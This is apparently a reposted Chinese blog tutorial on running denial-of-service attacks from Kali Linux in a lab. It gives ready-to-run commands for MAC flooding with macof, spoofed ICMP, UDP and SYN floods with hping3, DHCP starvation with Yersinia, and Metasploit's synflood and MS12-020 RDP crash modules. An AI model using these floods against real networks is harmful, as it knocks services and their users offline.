Kali渗透测试:拒绝服务攻击

Kali渗透测试:拒绝服务攻击

故意占用某一系统对外服务的有限资源,从而导致其无法正常工作的行为就是拒绝服务攻击。拒绝服务攻击是指攻击者想办法让目标停止提供服务,是黑客常用的攻击手段之一。其实对网络带宽进行的消耗性攻击知识拒绝服务攻击的一小部分,只要能够对目标造成麻烦,事情某些服务暂停甚至是主机死机,都属于拒绝服务攻击。拒绝服务攻击一直得不到合理的解决,究其原因是网络协议本身的安全缺陷,使得拒绝服务攻击也成了攻击者的“终极手段”。实际上,拒绝服务攻击并不是一种攻击方式,而是一类具有相似特征的攻击方式的集合。黑客可能利用TCP/IP模型中的数据链路层、网络层、传输层和应用层的各种协议漏洞发起拒绝服务攻击。按照协议划分,拒绝服务攻击及其实现方法有以下几种:

​ ◆ 数据链路层的拒绝服务攻击;

​ ◆ 网络层的拒绝服务攻击;

​ ◆ 传输层的拒绝服务攻击;

​ ◆ 应用层的拒绝服务攻击;

1.1 数据链路层的拒绝服务攻击

数据链路层发起的拒绝服务攻击方式,它的攻击目标是二层交换机。这种攻击方式的目标并不是让二层交换机停止工作,而是让二层交换机以一种不正常的方式工作。这种攻击方式很简单,只需要伪造大量的数据包发送到交换机,这些数据包中的源MAC地址和目的MAC地址都是随机构造处理的,很快就可以将交换机的CAM表填满,这样只能将数据包广播出去。

Kali Linux 提供了很多可以完成这个任务的工具, 其中一种工具—macof,它是Dsniff工具集的成员。使用之前需要先安装,命令如下:

┌──(kali㉿kali)-[~]
└─$  sudo apt install dsniff      

这个工具使用方法很简单, 下面给出这个工具使用的格式:

Usage: macof [-s src] [-d dst] [-e tha] [-x sport] [-y dport]
             [-i interface] [-n times]

实际应用中,只要参数-i是会使用到的, 这个参数用来指定发送这些伪造数据的网卡。

macof启动

在Kali 终端执行如下命令:

┌──(kali㉿kali)-[~]
└─$ sudo macof	

如下图所示:

交换机在受到攻击之后,内部的CAM表很快就会被填满了,交换机退化成集线器,会将收到的数据包全部广播出去,从而无法正常地向局域网提供转发功能。

1.2 网络层的拒绝服务攻击

位于网络层的协议包括ARP、IP和ICMP等,其中ICMP主要用于在主机、路由器之间传递控制消息。ping命令就是基于ICMP,如查看本机发送的数据包能否可以到达目标主机(IP地址192.168.68.242),就可以使用如下图所示的ping命令。

从上图中可以看出,我们发送的数据包得到了应答数据包,这说明目标主机收到了发出的数据包,并给出了应答。

目标主机处理这个请求和应答是要消耗CPU资源的,处理大量ICMP请求,就会消耗更多CPU资源,早期的操作系统无法处理数据包非常大的请求,比方说包的大小指定为65 500。这样构造好的数据包被称作“死亡之ping”,现在的操作系统和CPU完全有能力处理这个数量级的数据包。那么要实现这个攻击目的,必须增加发送到目标主机的数据包的数量,两种方法:一是同时使用堕胎主机发送ICMP数据包,二是提高发送ICMP数据包的速度。

第一种方法只需更多主机重复"ping 目标主机 -l 65500"这个命令就可以。第二种方法就是使用专门进行拒绝服务攻击的工具,Kali 中自带hping3进行拒绝服务攻击。hping3是一款用于生成和解析TCP/IP数据包的开源工具。

hping3启动

在Kali终端执行如下命令:

┌──(kali㉿kali)-[~]
└─$ sudo hping3
hping3>

参考这个工具的帮助文件,查看帮助文件的方法是在终端输入如下命令:

┌──(root💀kali)-[~]
└─# hping3 --help         
usage: hping3 host [options]
  -h  --help      show this help
  -v  --version   show version
  -c  --count     packet count
  -i  --interval  wait (uX for X microseconds, for example -i u1000)
      --fast      alias for -i u10000 (10 packets for second)
      --faster    alias for -i u1000 (100 packets for second)
      --flood	   sent packets as fast as possible. Don't show replies.
  -n  --numeric   numeric output
  -q  --quiet     quiet
  -I  --interface interface name (otherwise default routing interface)
  -V  --verbose   verbose mode
  -D  --debug     debugging info
  -z  --bind      bind ctrl+z to ttl           (default to dst port)
  -Z  --unbind    unbind ctrl+z
      --beep      beep for every matching packet received
Mode
  default mode     TCP
  -0  --rawip      RAW IP mode
  -1  --icmp       ICMP mode
  -2  --udp        UDP mode
  -8  --scan       SCAN mode.
                   Example: hping --scan 1-30,70-90 -S www.target.host
  -9  --listen     listen mode
IP
  -a  --spoof      spoof source address
  --rand-dest      random destionation address mode. see the man.
  --rand-source    random source address mode. see the man.
  -t  --ttl        ttl (default 64)
  -N  --id         id (default random)
  -W  --winid      use win* id byte ordering
  -r  --rel        relativize id field          (to estimate host traffic)
  -f  --frag       split packets in more frag.  (may pass weak acl)
  -x  --morefrag   set more fragments flag
  -y  --dontfrag   set don't fragment flag
  -g  --fragoff    set the fragment offset
  -m  --mtu        set virtual mtu, implies --frag if packet size > mtu
  -o  --tos        type of service (default 0x00), try --tos help
  -G  --rroute     includes RECORD_ROUTE option and display the route buffer
  --lsrr           loose source routing and record route
  --ssrr           strict source routing and record route
  -H  --ipproto    set the IP protocol field, only in RAW IP mode
ICMP
  -C  --icmptype   icmp type (default echo request)
  -K  --icmpcode   icmp code (default 0)
      --force-icmp send all icmp types (default send only supported types)
      --icmp-gw    set gateway address for ICMP redirect (default 0.0.0.0)
      --icmp-ts    Alias for --icmp --icmptype 13 (ICMP timestamp)
      --icmp-addr  Alias for --icmp --icmptype 17 (ICMP address subnet mask)
      --icmp-help  display help for others icmp options
UDP/TCP
  -s  --baseport   base source port             (default random)
  -p  --destport   [+][+]<port> destination port(default 0) ctrl+z inc/dec
  -k  --keep       keep still source port
  -w  --win        winsize (default 64)
  -O  --tcpoff     set fake tcp data offset     (instead of tcphdrlen / 4)
  -Q  --seqnum     shows only tcp sequence number
  -b  --badcksum   (try to) send packets with a bad IP checksum
                   many systems will fix the IP checksum sending the packet
                   so you'll get bad UDP/TCP checksum instead.
  -M  --setseq     set TCP sequence number
  -L  --setack     set TCP ack
  -F  --fin        set FIN flag
  -S  --syn        set SYN flag
  -R  --rst        set RST flag
  -P  --push       set PUSH flag
  -A  --ack        set ACK flag
  -U  --urg        set URG flag
  -X  --xmas       set X unused flag (0x40)
  -Y  --ymas       set Y unused flag (0x80)
  --tcpexitcode    use last tcp->th_flags as exit code
  --tcp-mss        enable the TCP MSS option with the given value
  --tcp-timestamp  enable the TCP timestamp option to guess the HZ/uptime
Common
  -d  --data       data size                    (default is 0)
  -E  --file       data from file
  -e  --sign       add 'signature'
  -j  --dump       dump packets in hex
  -J  --print      dump printable characters
  -B  --safe       enable 'safe' protocol
  -u  --end        tell you when --file reached EOF and prevent rewind
  -T  --traceroute traceroute mode              (implies --bind and --ttl 1)
  --tr-stop        Exit when receive the first not ICMP in traceroute mode
  --tr-keep-ttl    Keep the source TTL fixed, useful to monitor just one hop
  --tr-no-rtt	    Don't calculate/show RTT information in traceroute mode
ARS packet description (new, unstable)
  --apd-send       Send the packet described with APD (see docs/APD.txt)

帮助文件比较长,介绍其中一小部分,hping3中的各个参数含义如下:

​ ◆ -h --help:显示帮助信息

​ ◆ -v --version:显示当前hping的版本

​ ◆ -c --count:发送指定数据包的次数

​ ◆ -i --interval:发送书包之间的间隔时间(格式为uX,表示间隔时间为X微秒)

​ ◆ -n --numeric:数值化的输出

​ ◆ -q --quiet:静默模式,只显示最后的统计数据

​ ◆ -I --interface:指定需要使用的网络接口

​ ◆ -V --verbose:详细模式

​ ◆ -D --debug:调试信息

​ ◆ -z --bind:将Ctrl+Z组合键与发送包的TTL值绑定,按一次TTL值加1

​ ◆ -z --unbind:解除Ctrl+Z组合键与发送包的TTL值的绑定

上面的这些参数都有两种表达方式, 例如-h和–help的作用是相同的。另外,对于发送数据包的时间间隔还有几种特殊用法。

​ ◆ - i --fast:将数据包之间的间隔时间设置为10 000微秒,也就是每秒发送10个

​ ◆ - i – faster:将数据包之间的间隔时间设置为1000微妙,也就是每秒发送100个

​ ◆ - i – flood:尽可能快地发送数据包,不显示回应

hping3中发送数据包的模式选择如下:

​ ◊ -1 --icmp: ICMP模式,此模式下hping会发送ICMP数据包,你可以用–ICMPTYPE。–ICMPCODE选项发送其他类型/模式的ICMP数据包

​ ◊ -2 --udp:UDP模式,默认情况下,hping发送UDP数据包到主机的0端口,你可以用–baseport --destport – keep选项指定其模式

​ ◊ -8 --scan:SCAN mode扫描模式,指定扫描对应的端口

构造ICMP拒绝服务攻击

下面构造一次基于ICMP的拒绝服务攻击。在Kali中打开一个终端,然后输入如下命令:

┌──(root💀kali)-[~]
└─# hping3 -q --rand-source --id 0 --icmp -d 56 --flood 192.168.68.191

其中-q 表示静默模式,不显示接收和发送的数据包; --rand-source 表示伪造随机的源地址; --id 0 表示有ICMP应答请求(就是我们平时执行ping命令时的数据包);-d 56表示数据包的大小(56是执行ping命令时数据包的大小); --flood表示尽可能快地发送数据包。

这种攻击产生的数据包的速度非常快,我们使用Ctrl+C组合键能结束这个过程。可以看到在短短的几秒内,就已经产生了上百万个ICMP数据包,如下图所示:

1.3 传输层的拒绝服务攻击

TCP和UDP都位于传输层,这两个协议都可以实现拒绝服务攻击,但是攻击方式不相同。UDP拒绝服务攻击与ICMP拒绝服务攻击原理相同,也需要向目标快速地发送大量数据包。不同之处在于UDP拒绝服务攻击的目标时目标主机的一个端口,而ICMP拒绝服务攻击则与端口无关。 在开始攻击之前,必须明确指导目标端口,该端口必须使用UDP,而且是开放的。现在的设备在获取IP地址时大都会使用DHCP协议,而DHCP协议依靠UDP来传输。DHCP协议需要使用67和68两个端口。67作为DHCP服务端使用的端口, 68作为DHCP客户端使用的端口,所以这里我们将要测试的目标端口设置为68。

下面我们利用刚刚介绍过的hping3的参数来构造一次基于UDP的拒绝服务攻击。在Kali中打开一个终端,然后在终端中输入如下命令即可开始攻击:

hping3 -q -n -a 10.0.0.1 --udp -s 53 --keep -p 68 --flood 192.168.68.125

基于UDP的拒绝服务攻击在实际中使用得并不多。而基于TCP的拒绝服务攻击则要复杂一些,但是我们平时所说的拒绝服务攻击都是基于TCP的攻击。因为现实中拒绝服务攻击的目标往往是那些提供HTTP服务的服务器,为HTTP提供支持的TCP自然也就成了拒绝服务攻击的“重灾区”。

不同于基于ICMP和UDP的拒绝服务攻击,基于TCP的拒绝服务攻击是面向连接的。只需要和目标主机的端口建立大亮点TCP连接,就可以让目标主机的连接表被填满,从而不会再接收任何新的连接。基于TCP的拒绝服务攻击有两种:一种是和目标端口完成3次握手,建立一个完整连接;另一种是只和目标端口完成3次握手中的前两次,建立一个不完整的连接,这种攻击最为常见的,我们通常讲这种攻击称为SYN拒绝服务攻击。在这种攻击中,攻击方会向目标端口发送大量设置了SYN标志位的TCP数据包,受攻击的服务器会根据这些数据包建立连接,并将连接的信息存储在连接表中,而攻击方不断地发送TCP数据包,很快就会将连接表填满,次时受攻击的服务器就无法接收新的连接请求了。

下面利用hping3构造一次基于TCP的拒绝服务攻击。在Kali终端中输入如下命令:

hping3 -q -n -a 10.0.0.1 -S -s 53 --keep -p 22 --flood 192.168.68.125

1.4 应用层的拒绝服务攻击

位于应用层的协议比较多,常见的有HTTP、FTP、DNS、DHCP等。每个协议都有可能被用来发起拒绝服务攻击,现以DHCP为例进行讲解。DHCP通常被应用在大型的局域网中,主要作用是集中管理、分配IP地址,使网络环境中的主机动态地获取IP地址、网关地址、DNS服务器地址等信息,并能够提升地址的使用率。

DHCP采用客户端/服务端模型,主机地址的动态分配任务由网络主机驱动,当DHCP服务器接收到来自网络主机申请地址的信息时,才会向网络主机发送相关的地址配置等信息,以实现网络主机地址信息的动态配置。DHCP攻击的目标也是服务器,怀有恶意的攻击者伪造大量DHCP请求发送到服务器,这样DHCP服务器地址池中的IP地址很快就会被分配完,从而导致合法用户无法申请到IP地址。同时大量的DHCP请求也会导致服务器高负荷运行,从而导致设备瘫痪。

介绍两款拒绝服务攻击工具,一是Yersinia另一个是Metasploit。

使用Yersinia进行DHCP攻击实验

首先安装这个工具:

┌──(root💀kali)-[~]
└─# apt-get install yersinia

成功安装以后,以图形化界面的形式启动这个工具,在命令行输入如下命令:

┌──(kali㉿kali)-[~]
└─$ sudo yersinia -G

工作界面如下图所示:

单击“Launch attack”选择攻击方式,Yersinia提供了针对多种网络协议的攻击方式,如CDP、DHCP、DTP、HSRP、ISL、MPLS、STP、VTP等协议,如下图所示:

选择攻击的协议和具体过攻击方式,这里选择“DHCP”。如下图所示:

基于DHCP的攻击中一共提供了4种发包形式,其中“sending DISCOVER packet”形式默认采用拒绝服务攻击(后面的DoS复选框中显示被选中状态)。这4种发包形式的含义具体如下所示:

​ ◆ sending RAW packet:发送原始数据包

​ ◆ sending DISCOVER packet:发送请求来获取IP地址数据包,占用所有的IP地址,造成拒绝服务

​ ◆ creating DHCP rogue server:创建虚假DHCP服务器, 让用户连接,导致真正的DHCP服务器无法工作

​ ◆ sending RELEASE packet:发送释放IP地址请求到DHCP服务器,致使正在使用的IP地址全部失效

本实现选择“sending DISCOVER packet”后单击“OK”按钮,即可开始攻击。“sending DISCOVER packet”产生的数据包如下图所示:

执行攻击后,右侧框1处显示的就是发送出去的攻击数据包,如果希望查看某个数据包的具体内容,可以单击该数据包;右侧框2处显示的就是所单击的数据包的详细内容。可以看到这个工具不断地向外发送广播数据包。执行攻击后,Yersinia会在本网段内不停地发送请求数据包,很快DHCP服务器地址池内所有的有效IP地址都无法使用,新的用户将无法获取IP地址,整个网络将陷入瘫痪状态。

使用Metasploit实现拒绝服务攻击

Metasploit中提供了很多用于各种协议的拒绝服务攻击模块。本次实验中在启动metasploit之前需要先切换root用户:

┌──(kali㉿kali)-[~]
└─$ sudo -i
                                                                                
┌──(root💀kali)-[~]
└─# msfconsole

成功启动Metasploit之后,可以使用search命令来查找与拒绝服务攻击相关的模块,如下图所示:

上图列出Metasploit中拒绝服务攻击模块,我们选择其中的模块来对目标进行一次SYN拒绝服务攻击,这里选择auxiliary/dos/tcp/synflood模块来完成这个攻击。首先选择相应的模块:

msf6 > use auxiliary/dos/tcp/synflood 

然后使用show options命令查看这个模块的参数,如下图所示:

synflood模块需要的参数包括RHOSTS、RPORT、SNAPLEN及TIMEOUT等,后面的3个参数都有默认值,所以需要设置的 只有RHOSTS, 这也正是我们要发起拒绝服务攻击的服务器的IP地址,这目标必须是对外提供HTTP服务的服务器。

下面将RHOSTS参数设置为192.168.68.242,如下图所示:

如果目标没有防御措施,很快就会因为攻击而停止对外提供HTTP服务。如果事先得到了目标足够多的信息,我们也可以利用目标上一些特定的服务进行拒绝服务攻击。

很多人可能回到家中以远程连接到单位的电脑继续工作,但是这需要计算机提供远程控制的服务,Windows操作系统中就提供了远程桌面协议(Remote Desktop Protocol, RDP),这是一个多通道(Multi-Channel)的协议,用户可以利用这个协议连接提供Microsoft 终端机服务的计算机(服务端或远程计算机)。

这服务被发现存在一个编号为MS12-020的漏洞,Windows操作系统在处理某些RDP报文时Terminal Server存在错误,可被利用造成服务停止响应。默认情况下,任何Windows操作系统都未启用RDP,没有启用RDP的操作系统不受威胁。

Metasploit实现RDP协议漏洞攻击

靶机:Win7 (未安装补丁)

在Kali中启动Metasploit

msf6 > use auxiliary/dos/windows/rdp/ms12_020_maxchannelids

然后使用show options来查看这个模块所要使用的参数,如下图所示:

这个模块参数设置也十分简单只需要设置RHOSTS即可,也就是目标主机的IP地址,这里我们将其设置为192.168.68.196如下图所示:

设置完成之后,我们就可以对目标主机进行攻击了,使用run命令发起攻击,如下图所示:

红框显示攻击已经成功,此时目标主机发生蓝屏。攻击结果如下图所示:


原文连接:https://blog.csdn.net/weixin_41905135/article/details/125074088

相关推荐

网络安全--Kali使用mdk3攻击wifi(详细教程)

Kali渗透测试:拒绝服务攻击

Kali Linux全网最细安装教程

Windows网络服务渗透测试实战-跨网段攻击

Kali渗透局域网机器

(详解)虚拟机ping不通主机的问题

手把手教你如何使用kali破解wifi密码(图文教程)

Kali Linux利用MSF入侵安卓手机(小白版超详细)

kali linux下sqlmap使用教程

kali中DVWA的环境搭建

Kali利用msf入侵Windows电脑(最详细包会)

Kali渗透DC7

Kali Linux 详细安装步骤

Apache HTTPD 多后缀解析漏洞复现(Kali)

dc-7 靶机渗透学习

Kali Linux 2022下载

Kali虚拟机安装,设置中文等详细教程,Linux最新免镜像版

Kali Linux破解wifi密码教程(无须外置网卡)

利用Kali 完成一次简单的渗透

设置linux-kali 2022语言为中文(保姆级图文)